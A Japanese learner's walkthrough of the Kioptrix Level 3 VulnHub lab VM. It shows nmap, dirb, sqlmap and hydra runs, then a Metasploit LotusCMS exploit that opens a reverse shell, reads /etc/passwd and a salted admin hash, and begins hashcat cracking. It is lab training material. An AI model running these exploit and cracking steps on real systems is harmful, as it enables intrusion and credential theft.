White Hat Hackerになるまでの道のりを記しておく。
実際になったわけではなく、なるために勉強をすすめる際のメモを残しておこうと思う。
VulnHubというサイトにはチャレンジ用のVMがたくさんアップロードされている。今回はその中でも有名なKioptrixさんのシリーズもの第三弾(Level3)。
https://www.vulnhub.com/entry/kioptrix-level-12-3,24/
自分のたどり着いた答えまでの道のりをメモしておこうと思う。
はじめに断っておくが、noobなので無意味で意味不明な行動やオプション指定などがあるかもしれない。気づいた人はぜひ指摘いただきたい。
ターゲットホストを探す
今回もDHCPがONになっているVMとのことで、nmapでターゲットを探す。
kali@kali:~$ sudo nmap -Pn -T4 10.10.10.0/24 -p80
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-10 21:52 JST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 10.10.10.1
Host is up (0.00047s latency).
PORT STATE SERVICE
80/tcp filtered http
MAC Address: 08:00:27:C8:ED:71 (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.10.10.5
Host is up (0.00070s latency).
PORT STATE SERVICE
80/tcp open http
MAC Address: 08:00:27:E7:2B:CC (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.10.10.2
Host is up (0.000057s latency).
PORT STATE SERVICE
80/tcp closed http
Nmap done: 256 IP addresses (3 hosts up) scanned in 2.20 seconds
kali@kali:~$
10.10.10.2はアタックする自分のマシンなので、今回のターゲットのIPアドレスは「10.10.10.5」。
Prep
今回のチャレンジはこれまでと違い、始める前にhostsファイルのvmを追記しろと書いてある。
なので、事前準備。これがヒントになるかも?
kali@kali:~$ sudo vi /etc/hosts
kali@kali:~$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali.kkas.com kali
10.10.10.5 kioptrix3.com
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
kali@kali:~$
説明を読み返してみる。
There’s a web application involved, so to have everything nice and properly displayed you really need to this.
port80が怪しそうな予感。
ターゲットの情報を集める
nmapでターゲットの情報を集める。
kali@kali:~$ sudo nmap -A -T4 10.10.10.5 -Pn
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-10 22:02 JST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for kioptrix3.com (10.10.10.5)
Host is up (0.00094s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
| ssh-hostkey:
| 1024 30:e3:f6:dc:2e:22:5d:17:ac:46:02:39:ad:71:cb:49 (DSA)
|_ 2048 9a:82:e6:96:e4:7e:d6:a6:d7:45:44:cb:19:aa:ec:dd (RSA)
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
|_http-title: Ligoat Security - Got Goat? Security ...
MAC Address: 08:00:27:E7:2B:CC (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.94 ms kioptrix3.com (10.10.10.5)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.96 seconds
kali@kali:~$
注目した情報は以下。 ここらから脆弱性を調べていく。事前情報でweb appが絡んでいるとのことなので、80にブラウザアクセスから始めて見る。
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
探索開始
ブラウザでアクセスしてみる。
kali@kali:~$ firefox 10.10.10.5
なにか出てきた。 ほかも色々見てみる。
おぉ。いかにも何かありそうな画面が出てきた。お決まりのSQL Injectionを試してみる。
だめか。とりあえずソースコードも見ておく。
特に気になる点はない。 現時点ではあまりこだわらずにほかも探してみる。
他のページもソースコードを見ていく。
気になる箇所を発見! コメントアウトで「<a href="gadmin" ...」と書いてある。「admin」という言葉も気になる! アクセスしてみる。
でた! ソースコードじゃなく、普通に表示してみる。
ものすごく怪しい! usernameに「admin」と書いてあるし、そもそもコメントアウトで消し忘れたような感じがさきほど見たログインページよりもさらに怪しい!! 適当に何も追加入力せず、ログインボタンを押してみる。
だめか。パスワード「admin」で試す。
そりゃそうですよね。
SQL Injectionを試す。
だめか。だが、Brute-forceを使ったパスワードクラッキングはしたくない。なぜなら、正解につながるヒントを仕込んでくれているはずと思うから。
しばらく調査するも進展なし。
別のアプローチがないかを考えることにし、もう一度最初に見つけたログインページを見ていくと
「Powered by LotusCMS」と書いてあることに気づく。
さっそくGoogle先生に「LotusCMS」と聞いてみるといきなりexploitsやらVulnerabilityの文字が並んでいるw そんなにダメダメなCMSなのか??との疑問が湧くが、ここは一旦抑えて使えそうなexploitsを探すことにする。
以下のページを発見。exploitsを試してみる。
https://www.rapid7.com/db/modules/exploit/multi/http/lcms_php_exec
「msf」と書いてあるし、Metasploit FrameworkのExampleぽい。
> Executing “sudo msfdb init && msfconsole”
[sudo] kali のパスワード:
[i] Database already started
[i] The database appears to be already configured, skipping initialization
# cowsay++
____________
< metasploit >
------------
\ ,__,
\ (oo)____
(__) )\
||--|| *
=[ metasploit v5.0.99-dev ]
+ -- --=[ 2045 exploits - 1106 auxiliary - 344 post ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]
Metasploit tip: View advanced module options with advanced
msf5 > use exploit/multi/http/lcms_php_exec
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf5 exploit(multi/http/lcms_php_exec) > show options
Module options (exploit/multi/http/lcms_php_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
URI /lcms/ yes URI
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 127.0.0.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic LotusCMS 3.0
msf5 exploit(multi/http/lcms_php_exec) >
RHOSTSの指定が必要なので、ターゲットの「10.10.10.5」をセットする。
msf5 exploit(multi/http/lcms_php_exec) > set RHOSTS 10.10.10.5
RHOSTS => 10.10.10.5
msf5 exploit(multi/http/lcms_php_exec) >
Exampleの手順を見ると、「show targets」と書いているので何も考えずに実行する。
msf5 exploit(multi/http/lcms_php_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic LotusCMS 3.0
msf5 exploit(multi/http/lcms_php_exec) > set target 0
target => 0
msf5 exploit(multi/http/lcms_php_exec) >
もう一度、オプションを見てみる。
msf5 exploit(multi/http/lcms_php_exec) > show options
Module options (exploit/multi/http/lcms_php_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.10.10.5 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
URI /lcms/ yes URI
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 127.0.0.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic LotusCMS 3.0
msf5 exploit(multi/http/lcms_php_exec) >
何か変わったのか? 多分、targetがもともと1種類なので変化無しなのかな??
まあいいや。 とにかく実行してみる。
Go!!!
msf5 exploit(multi/http/lcms_php_exec) > exploit
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:4444
[*] Exploit completed, but no session was created.
msf5 exploit(multi/http/lcms_php_exec) >
残念。。。 見事に失敗しました。 LotusCMSのバージョンが3.0ではないのかもね。
気を取り直して次の手を考える。
msf5 exploit(multi/http/lcms_php_exec) > search lotuscms
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/http/lcms_php_exec 2011-03-03 excellent Yes LotusCMS 3.0 eval() Remote Command Execution
msf5 exploit(multi/http/lcms_php_exec) >
何か手がかりはないのか。。。
何も思いつかないので、基礎的な情報収集から始めることにする。
さらなるアタックへ
OWASP に乗っているWeb Applicationのアタック方法を参考にすすめてみることにする。
https://owasp.org/www-community/attacks/
Blind SQL Injection
Blind SQL Injection とは
Blind SQL (Structured Query Language) injection is a type of SQL Injection attack that asks the database true or false questions and determines the answer based on the applications response. This attack is often used when the web application is configured to show generic error messages, but has not mitigated the code that is vulnerable to SQL injection.
これが使えそうな「?id=」のGETリクエストを探してみると、下記を発見。
早速試してみる。
http://kioptrix3.com/gallery/vote.php?id=3+AND+1=1
んー、何も表示されない。エラーも出ないので何が起こっているのかわからない。。。
そこで、Burpを使ってHTTP Request&Responseを見てみることにする。
だめなのか。。。 「history.go(-1)」によって戻されていることが確認できた。
dirbを使ってみる。
kali@kali:~$ dirb http://kioptrix3.com -X .php
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sat Sep 12 10:55:32 2020
URL_BASE: http://kioptrix3.com/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.php) | (.php) [NUM = 1]
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://kioptrix3.com/ ----
+ http://kioptrix3.com/index.php (CODE:200|SIZE:1819)
+ http://kioptrix3.com/update.php (CODE:200|SIZE:18)
-----------------
END_TIME: Sat Sep 12 10:55:37 2020
DOWNLOADED: 4612 - FOUND: 2
kali@kali:~$
新しいのは「update.php」。アクセスしてみたが以下のような画面が表示されるだけで何もわからない。 ソースコードもテキストのみ。
LotusCMSの方を探索してみる。
kali@kali:~$ dirb http://kioptrix3.com/gallery/gadmin/ -X .php
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sat Sep 12 10:58:05 2020
URL_BASE: http://kioptrix3.com/gallery/gadmin/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.php) | (.php) [NUM = 1]
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://kioptrix3.com/gallery/gadmin/ ----
+ http://kioptrix3.com/gallery/gadmin/footer.php (CODE:200|SIZE:426)
+ http://kioptrix3.com/gallery/gadmin/functions.php (CODE:200|SIZE:0)
+ http://kioptrix3.com/gallery/gadmin/gallery.php (CODE:200|SIZE:1546)
+ http://kioptrix3.com/gallery/gadmin/header.php (CODE:200|SIZE:1546)
+ http://kioptrix3.com/gallery/gadmin/index.php (CODE:200|SIZE:1546)
+ http://kioptrix3.com/gallery/gadmin/menu.php (CODE:200|SIZE:0)
+ http://kioptrix3.com/gallery/gadmin/mysql.php (CODE:200|SIZE:111)
+ http://kioptrix3.com/gallery/gadmin/photos.php (CODE:200|SIZE:1546)
+ http://kioptrix3.com/gallery/gadmin/presentation.php (CODE:200|SIZE:1546)
+ http://kioptrix3.com/gallery/gadmin/settings.php (CODE:200|SIZE:1546)
+ http://kioptrix3.com/gallery/gadmin/signin.php (CODE:200|SIZE:0)
+ http://kioptrix3.com/gallery/gadmin/signout.php (CODE:200|SIZE:57)
+ http://kioptrix3.com/gallery/gadmin/users.php (CODE:200|SIZE:1546)
-----------------
END_TIME: Sat Sep 12 10:58:11 2020
DOWNLOADED: 4612 - FOUND: 13
kali@kali:~$
ヒットしたURLに一通りアクセスしてみたところ、気になったのは以下のURLだった。
中にはadminのログイン画面が表示されるものがいくつかあった。
気になった一番の理由はURLのパス名。特にmysqlを使っていると思われることが新たな収穫。
http://kioptrix3.com/gallery/gadmin/mysql.php (CODE:200|SIZE:111)
http://kioptrix3.com/gallery/gadmin/signin.php (CODE:200|SIZE:0)
さきほど見ていた「Blind SQL Injection」のページにSQLMapというツールの記載があった。
これを使ってみる。
https://owasp.org/www-community/attacks/Blind_SQL_Injection
kali@kali:~$ sqlmap -u http://kioptrix3.com/gallery/gadmin/index.php --data="username=admin&password=a"
___
__H__
___ ___[(]_____ ___ ___ {1.4.7#stable}
|_ -| . [)] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 14:45:35 /2020-09-12/
[14:45:35] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=30120328d36...64caac528c'). Do you want to use those [Y/n] y
[14:45:44] [INFO] checking if the target is protected by some kind of WAF/IPS
[14:45:44] [INFO] testing if the target URL content is stable
[14:45:44] [INFO] target URL content is stable
[14:45:44] [INFO] testing if POST parameter 'username' is dynamic
[14:45:44] [WARNING] POST parameter 'username' does not appear to be dynamic
[14:45:44] [WARNING] heuristic (basic) test shows that POST parameter 'username' might not be injectable
[14:45:45] [INFO] testing for SQL injection on POST parameter 'username'
[14:45:45] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:45:45] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[14:45:45] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[14:45:45] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[14:45:46] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[14:45:46] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[14:45:46] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[14:45:47] [INFO] testing 'Generic inline queries'
[14:45:47] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[14:45:47] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[14:45:47] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[14:45:47] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[14:45:48] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[14:45:48] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[14:45:49] [INFO] testing 'Oracle AND time-based blind'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] n
[14:46:03] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[14:46:07] [WARNING] POST parameter 'username' does not seem to be injectable
[14:46:07] [INFO] testing if POST parameter 'password' is dynamic
[14:46:07] [WARNING] POST parameter 'password' does not appear to be dynamic
[14:46:07] [WARNING] heuristic (basic) test shows that POST parameter 'password' might not be injectable
[14:46:07] [INFO] testing for SQL injection on POST parameter 'password'
[14:46:07] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:46:07] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[14:46:07] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[14:46:08] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[14:46:08] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[14:46:09] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[14:46:09] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[14:46:09] [INFO] testing 'Generic inline queries'
[14:46:09] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[14:46:09] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[14:46:10] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[14:46:10] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[14:46:10] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[14:46:11] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[14:46:11] [INFO] testing 'Oracle AND time-based blind'
[14:46:11] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[14:46:15] [WARNING] POST parameter 'password' does not seem to be injectable
[14:46:15] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
[*] ending @ 14:46:15 /2020-09-12/
kali@kali:~$
Brute-force
だめだ。こうなったらヤケクソだ!
Brute-forceでアタックしてやる!!
kali@kali:~$ hydra -l admin -P /usr/share/wordlists/metasploit/password.lst 10.10.10.5 http-post-form "/gallery/gadmin/index.php?task=signin:username=^USER^&password=^PASS:login details were incorrect." -V
10時間後。。。
[ATTEMPT] target 10.10.10.5 - login "admin" - pass "vagrant" - 88397 of 88397 [child 15] (0/0)
1 of 1 target completed, 0 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-09-13 10:38:53
チーン。 こんなに待ったのに失敗か。。。
あぁ、完全に行き詰まった。 心も少し折れそうになってきた。。
初心に帰る
フォートナイトで気晴らしをしたあと、もう一度最初から見直しをしてみることにした。
ヒントはいろいろ揃っている。
ツールの使い方はあっているか、他に試せる脆弱性はないか。
もう一度探してみることにした。
最初に見つけたのはLotusCMSを使用していること。
kali@kali:~$ searchsploit lotusCMS
------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------ ---------------------------------
LotusCMS 3.0 - 'eval()' Remote Command Execution (Metasploit) | php/remote/18565.rb
LotusCMS 3.0.3 - Multiple Vulnerabilities | php/webapps/16982.txt
-----------------
msf5 exploit(multi/http/php_cgi_arg_injection) > search lotusCMS
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/http/lcms_php_exec 2011-03-03 excellent Yes LotusCMS 3.0 eval() Remote Command Execution
msf5 exploit(multi/http/php_cgi_arg_injection) > use 0
[*] Using configured payload php/meterpreter/reverse_tcp
msf5 exploit(multi/http/lcms_php_exec) > show options
Module options (exploit/multi/http/lcms_php_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.10.10.5 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
URI /lcms/ yes URI
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 127.0.0.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic LotusCMS 3.0
msf5 exploit(multi/http/lcms_php_exec) > exploit
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:4444
[*] Exploit completed, but no session was created.
msf5 exploit(multi/http/lcms_php_exec) > set uri /
uri => /
msf5 exploit(multi/http/lcms_php_exec) > exploit
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:4444
[*] Using found page param: /index.php?page=index
[*] Sending exploit ...
[*] Exploit completed, but no session was created.
msf5 exploit(multi/http/lcms_php_exec) >
msf5 exploit(multi/http/lcms_php_exec) > set lhost 10.10.10.2
lhost => 10.10.10.2
msf5 exploit(multi/http/lcms_php_exec) > exploit
[*] Started reverse TCP handler on 10.10.10.2:9999
[*] Using found page param: /index.php?page=index
[*] Sending exploit ...
[*] Exploit completed, but no session was created.
msf5 exploit(multi/http/lcms_php_exec) >
だめ。 このメッセージが少し気になる。
「Exploit completed, but no session was created.」
Payload を変えてみる
msf5 exploit(multi/http/lcms_php_exec) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf5 exploit(multi/http/lcms_php_exec) > show options
Module options (exploit/multi/http/lcms_php_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.10.10.5 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
URI / yes URI
VHOST no HTTP server virtual host
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.10.2 yes The listen address (an interface may be specified)
LPORT 7777 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic LotusCMS 3.0
msf5 exploit(multi/http/lcms_php_exec) > set LPORT 8888
LPORT => 8888
msf5 exploit(multi/http/lcms_php_exec) > show options
Module options (exploit/multi/http/lcms_php_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.10.10.5 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
URI / yes URI
VHOST no HTTP server virtual host
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.10.2 yes The listen address (an interface may be specified)
LPORT 8888 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic LotusCMS 3.0
msf5 exploit(multi/http/lcms_php_exec) > exploit
[*] Started reverse TCP handler on 10.10.10.2:8888
[*] Using found page param: /index.php?page=index
[*] Sending exploit ...
[*] Command shell session 1 opened (10.10.10.2:8888 -> 10.10.10.5:36469) at 2020-09-21 14:28:50 +0900
セッションがつながった!
whoami
www-data
ifconfig
sudo ifconfig
^C
Abort session 1? [y/N] y
[*] 10.10.10.5 - Command shell session 1 closed. Reason: User exit
msf5 exploit(multi/http/lcms_php_exec) >
msf5 exploit(multi/http/lcms_php_exec) >
msf5 exploit(multi/http/lcms_php_exec) > exploit
[*] Started reverse TCP handler on 10.10.10.2:8888
[*] Using found page param: /index.php?page=index
[*] Sending exploit ...
[*] Command shell session 2 opened (10.10.10.2:8888 -> 10.10.10.5:36470) at 2020-09-21 14:29:15 +0900
pwd
/home/www/kioptrix3.com
exit
^C
Abort session 2? [y/N] y
[*] 10.10.10.5 - Command shell session 2 closed. Reason: User exit
msf5 exploit(multi/http/lcms_php_exec) >
よし、色々できそうな気がするので一気にいくぞー!
いろいろ試して情報を集める。
潜入捜査
msf5 exploit(multi/http/lcms_php_exec) > exploit
[*] Started reverse TCP handler on 10.10.10.2:8888
[*] Using found page param: /index.php?page=index
[*] Sending exploit ...
[*] Command shell session 3 opened (10.10.10.2:8888 -> 10.10.10.5:45403) at 2020-09-21 14:41:31 +0900
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
mysql:x:104:108:MySQL Server,,,:/var/lib/mysql:/bin/false
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
loneferret:x:1000:100:loneferret,,,:/home/loneferret:/bin/bash
dreg:x:1001:1001:Dreg Gevans,0,555-5566,:/home/dreg:/bin/rbash
cat /etc/shadow
ユーザー情報は見れたが、ハッシュは取得できなさそう。
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
管理者権限では動かないかも。
pwd
/home/www/kioptrix3.com
cd /
pwd
/home/www/kioptrix3.com
cd ..
pwd
/home/www/kioptrix3.com
ディレクトリの移動はできなそう。
su -
whoami
www-data
su root
whoami
www-data
rootにはsuできなそう
ls -l
total 84
drwxrwxrwx 2 root root 4096 Apr 15 2011 cache
drwxrwxrwx 8 root root 4096 Apr 14 2011 core
drwxrwxrwx 8 root root 4096 Apr 14 2011 data
-rw-r--r-- 1 root root 23126 Jun 5 2009 favicon.ico
drwxr-xr-x 7 root root 4096 Apr 14 2011 gallery
-rw-r--r-- 1 root root 26430 Jan 21 2007 gnu-lgpl.txt
-rw-r--r-- 1 root root 399 Feb 23 2011 index.php
drwxrwxrwx 10 root root 4096 Apr 14 2011 modules
drwxrwxrwx 3 root root 4096 Apr 14 2011 style
-rw-r--r-- 1 root root 243 Aug 5 2010 update.php
ls data
config
filebackups
files
index.php
modules
pages
users
ls data/users
admin.dat
index.php
data/users/admin.datというファイルを発見。怪しい。。。
cat data/users/admin.dat
|318d8dd409db395f0317efa71b3bad13e1fb9857|administrator|bla@bla.com
すごく怪しげなハッシュを発見。しかも、「administrator」という言葉付き。
もっと調べる。
ls data/config
active_design.dat
index.php
modules
salt.dat
site_description.dat
site_keywords.dat
site_title.dat
site_version.dat
ls -l data/config
total 28
-rwxrwxrwx 1 root root 4 Oct 2 2010 active_design.dat
-rwxrwxrwx 1 root root 0 Apr 11 2010 index.php
drwxrwxrwx 2 root root 4096 Apr 14 2011 modules
-rwxrwxrwx 1 root root 30 Apr 14 2011 salt.dat
-rwxrwxrwx 1 root root 21 Oct 2 2010 site_description.dat
-rwxrwxrwx 1 root root 8 Oct 2 2010 site_keywords.dat
-rwxrwxrwx 1 root root 15 Apr 14 2011 site_title.dat
-rwxrwxrwx 1 root root 5 Mar 14 2011 site_version.dat
data/config/salt.datが非常にあやしい。configディレクトリの中にあることからさきほどのハッシュの生成に使用されている可能性がある。
cat data/config/salt.dat
gtZBO2PewhZHR10hGXLaSt0Bc5Ub73
ハッシュ生成アルゴリズムがわかれば、、、と思い、「LotusCMS 3.0」がもしOpen sourceであればアルゴリズムがわかるかもしれないとひらめく。 Google先生に聞くと、Sourceforgeに以下のソースコードを発見。ビンゴ!
Sourceforge
https://sourceforge.net/projects/arboroiancms/files/LotusCMS-3.0-Series/
さっそくダウンロードしてソースコードを眺めていく。ログインやライブラリ周りを調べると発見!
kali@kali:~/ダウンロード$ ls -l lcms-3.0.5
合計 88
drwxrwxrwx 2 kali kali 4096 2月 23 2011 cache
drwxrwxrwx 8 kali kali 4096 8月 6 2010 core
drwxrwxrwx 8 kali kali 4096 3月 15 2011 data
-rw-r--r-- 1 kali kali 23126 6月 5 2009 favicon.ico
-rwxr-xr-x 1 kali kali 26934 1月 22 2007 gnu-lgpl.txt
-rwxr-xr-x 1 kali kali 399 2月 23 2011 index.php
-rwxr-xr-x 1 kali kali 6789 8月 6 2010 install.php
drwxrwxrwx 10 kali kali 4096 2月 23 2011 modules
drwxrwxrwx 3 kali kali 4096 2月 23 2011 style
-rwxr-xr-x 1 kali kali 243 8月 6 2010 update.php
kali@kali:~/ダウンロード$ cd lcms-3.0.5/
kali@kali:~/ダウンロード/lcms-3.0.5$ grep -r 'salt'
core/lib/User.php: $hash = $this->openFile("data/config/salt.dat");
install.php: //Creates a long random string as salt.
install.php: $salt = generateRandStr(30);
install.php: $io->saveFile("data/config/salt.dat", $salt);
kali@kali:~/ダウンロード/lcms-3.0.5$
cat core/lib/User.php
...省略
/**
* Encrypts password using hash and sha1.
*/
public function encryptPass($pass){
//Get the user hash
$hash = $this->openFile("data/config/salt.dat");
//Add hash to password
$pass .= $hash;
//Encrypt Password
$pass = sha1($pass);
//Returns encrypted password
return $pass;
}
...省略
アルゴリズムが「SHA1」、
saltとして「password + salt」を使用していることがわかった。
パスワードクラッキング
これでパスワードのクラッキングが現実味を帯びてきた気がする。
Kali Linux のツールでインストールされている「hashcat」というツールが良さそうなことが判明。 使い方に苦労しながら、結局は下記に落ち着く。
kali@kali:~$ cat hash_salt.txt
318d8dd409db395f0317efa71b3bad13e1fb9857:gtZBO2PewhZHR10hGXLaSt0Bc5Ub73
kali@kali:~$ hashcat -m 110 -a 0 ./hash_salt.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.0.0) starting...
